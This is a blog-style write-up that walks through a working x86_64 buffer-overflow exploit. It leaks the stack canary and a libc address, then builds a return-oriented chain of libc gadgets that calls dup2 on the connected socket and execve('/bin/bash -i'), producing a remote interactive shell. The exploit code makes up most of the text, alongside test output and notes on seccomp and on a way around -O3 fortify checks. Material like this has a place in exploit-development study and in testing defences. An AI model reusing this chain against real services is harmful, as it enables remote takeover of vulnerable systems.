This is a continuation of the previous article about stack canary and ASLR bypassing but on x86_64 platform. Nowadays 64bit systems are widely used and still vulnerable to a buffer overflow attack.
According to x86_64 calling convention registers are used to pass arguments to the function (not stack as it was for 32bit platform). For more information read ABI.
RDI, RSI and RDX registers are used in 3 argument function where RDI contains first and RDX third argument.
We used the same memory leak valnerability as in exploit for 32bit system in order to steal snapshot of the stack memory.
OK, here what we got:
->> 7fffffffdde0 ->> e3b31bbe0b79cc00 ->> stack canary ->> 7fffffffddc0 --> EBP ->> 5555555557e9 --> return address ->> 1f7fadfc8 ->> 400000003 --> connfd descriptor is located in high 32 bits ->> 88130002 ->> 3030303030303030 ->> 7fffffffdeb0 ->> e3b31bbe0b79cc00 ->> stack canary ->> 0 ->> 7ffff7de40b3 --> __libc_start_main+0xF3 ->> 100000018 ->> 7fffffffdeb8 ->> 1f7fa5618 ->> 555555555683 ->> 555555555830 ->> 9dce1831537b4897
We used the same tactique first to calculate start address of libc and later inject return address. Due to the fact that on x86_64 platform functions use registers we decided to call necessary functions inside of libc deirectly instead of making stack executable and passing control to the injected shellcode. So the idea was to call dup2() to redirect input/output to the socket and then call execve() to launch /bin/bash.
It turned out to be even easier since there is no need to use mprotect() and shellcode.
OK, first let's detect RBP and bypass stack protection:
/* 8 Bytes shall be data for overflowed buffer so skip pbuf[0] */ /* STACK CANARY PROTECTION */ shell[1] = pbuf[1]; long libc_start = pbuf[11]; // extract __libc_start_main+0xf3 printf("__libc_start_main+0xF3: %lx\n", libc_start); // application saves return address of __libc_start_main+0xf3 on the stack libc_start -= 0xf3; // deduct offset to __libc_start_main libc_start -= 0x26fc0; // deduct offset from __libc_start_main to libc start long rbp = pbuf[2];
The code below prepares ESI and EDI registers and call dup2 for 0, 1, 2 descriptors.
// ESI - shall be 0 after sock_read and EDI shall be 0x4 connfd argument /* RBP - 038 */ shell[3] = libc_start+0x1118a0; // return address: dup2 /* * 6053b: 48 8d 15 5e c3 18 00 lea 0x18c35e(%rip),%rdx # 1ec8a0* * (gdb) x 0x7ffff7dbd000+0x6053e * 0x7ffff7e1d53e <__GI___printf_fp_l+5742>: 0x0018c35e */ /* RBP - 0x30 */ shell[4] = libc_start+0x6053e; // return to pop %esi /* RBP - 0x28 */ shell[5] = 0x1; /* RBP - 0x20 */ shell[6] = libc_start+0x1118a0; // return address: dup2 /* RBP - 0x18 */ shell[7] = libc_start+0x6053e; // return to pop %esi /* RBP - 0x10 */ shell[8] = 0x2; /* RBP - 0x8 */ shell[9] = libc_start+0x1118a0; // return address: dup2
EDI register already contains connfd (descriptor of opened socket) so there is no need to setup it. ESI contains 0 and for the first dup2 we need to pass exactly 0. However for descriptor 1 and 2 we had to find a way how to setup ESI.
The main issue was to find a pair of opcode in libc which restores ESI and returns from the function. The code was found at __GI___printf_fp_l which contained necessary opcodes: 5e c3. 5e c3 equals to 2 separate instructions 'pop %esi' and 'ret'. In reality the code at __GI___printf_fp_l was supposed to perform lea instruction. However if you add 3 bytes offset to the address of the instruction the processor will start executing 5e c3.
After dup2 we have to setup EDX, ESI and EDI in order to call execve(). It's done as follows:
/* e6227: 5d pop %rbp e6228: 41 5c pop %r12 e622a: 41 5d pop %r13 e622c: 41 5e pop %r14 e622e: c3 retq */ /* RBP - 0x0 */ shell[10] = libc_start+0xe6227; // return to pop /* RBP + 0x8 */ shell[11] = rbp + 0x48; // %rbp - or 2nd execve arg /* RBP + 0x10 */ shell[12] = 0x0; // %r12 - or 3rd execve arg /* RBP + 0x18 */ shell[13] = 0x0; // %r13 /* RBP + 0x20 */ shell[14] = rbp + 0x30; // %r14 - or 1st execve arg /* e6278: 48 89 ee mov %rbp,%rsi e627b: 4c 89 e2 mov %r12,%rdx e627e: 4c 89 f7 mov %r14,%rdi e6281: e8 da fe ff ff callq e6160*/ /* RBP + 0x28 */ shell[15] = libc_start+0xe6278; // call execve /* RBP + 0x30 */ memcpy(&shell[16], "/bin/bash", strlen("/bin/bash")); /* RBP + 0x40 */ memcpy(&shell[18], "-i", strlen("-i")); /* RBP + 0x48 */ shell[19] = rbp + 0x30; /* RBP + 0x50 */ shell[20] = rbp + 0x40; /* RBP + 0x58 */ shell[21] = 0x0;
The necessary code was found in fexecve@@GLIBC_2.2.5 whichs restores RBP, R12 and R14 and later uses these registers to setup RDX, RSI and RDI for execve() call.
However what exploit has to prepare except registers it's content of arguments for execve() function. The content of arguments is handed over right after the last return address (to execve() call).
The exploit was tested on Ubuntu 20.04:
$ make test-exploit-64 gcc -g -DX86_64 -o test-exploit-64 test-exploit.c $ ./test-exploit-64 ->> 7fff2b1af040 ->> f30addef22c5d300 ->> 7fff2b1af020 ->> 55dc0102d7a7 ->> 185ca6fc8 ->> 400000003 ->> 88130002 ->> 3030303030303030 ->> 7fff2b1af110 ->> f30addef22c5d300 ->> 0 ->> 7fe985add0b3 ->> 100000018 ... __libc_start_main+0xF3: 7fe985add0b3 __libc_start: 7fe985ab6000 RBP: 7fff2b1af020 To run a command as administrator (user "root"), use "sudo". See "man sudo_root" for details. evg@evg:/home/evg/projects/test/repo/shell-exploit$
Results when seccomp() protection is enabled:
$ ./shell-exploit-64 Bad system call (core dumped) $ dmesg [36692.474394] audit: type=1326 audit(1593870853.372:3): auid=1000 uid=1000 gid=1000 ses=3 subj=kernel pid=18530 comm="shell-exploit-6" exe="/home/evg/projects/test/repo/shell-exploit/shell-exploit-64" sig=31 arch=c000003e syscall=33 compat=0 ip=0x7fab3318d8ab code=0x0 $ grep 33 /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_dup2 33
All code from the article is available here.
*** Update from 25.07.2020:
If the code of vulnerable program compiled with the flag -O3 (Level 3 optimization) gcc adds extra check for buffer overflow which prevents exploit injection:
evg@evg:~/projects/test/repo/shell-exploit$ ./shell-exploit-64 *** buffer overflow detected ***: terminated Aborted (core dumped)
00000000000015e0 sock_read: 1628: 48 63 54 24 0c movslq 0xc(%rsp),%rdx 162d: 4c 89 e6 mov %r12,%rsi 1630: 89 ef mov %ebp,%edi 1632: b9 08 00 00 00 mov $0x8,%ecx 1637: e8 e4 fa ff ff callq 1120 __read_chk@plt
The function __read_chk is located in libc and checks the buffer length against the data length that is supposed to be read:
00000000001316a0 __read_chk@@GLIBC_2.4: 1316a0: f3 0f 1e fa endbr64 1316a4: 48 39 ca cmp %rcx,%rdx 1316a7: 77 2b ja 1316d4__read_chk@@GLIBC_2.4+0x34 ... 1316d4: 50 push %rax 1316d5: e8 66 fb ff ff callq 131240 __chk_fail@@GLIBC_2.3.4
However the usage of optimization flags during compilation of the program helps to prevent buffer overflow attack to be used only if buffer size is known for the compiler. If the buffer was allocated in one function and passed to another function the compiler skips the buffer overflow check meaning the exploit still can be injected and executed after return from the function where the buffer was initially allocated.
Proves:
evg@evg:~/projects/shell-exploit$ make gcc -O3 -DX86_64 -fstack-protector-strong -o shell-exploit-64-optimized shell-exploit.c evg@evg:~/projects/shell-exploit$ ./shell-exploit-64-optimized
evg@evg:~/projects/test/repo/shell-exploit$ ./test-exploit-64-optimized ->> 7ffe1b1b5210 ->> a4d1eb7526d95a00 ->> 0 ->> 7f15a4e830b3 ... __libc_start_main+0xF3: 7f15a4e830b3 __libc_start: 7f15a4e5c000 RBP: 7ffe1b1b5120 To run a command as administrator (user "root"), use "sudo". See "man sudo_root" for details. evg@evg:/home/evg/projects/shell-exploit$
All code from the article is available here.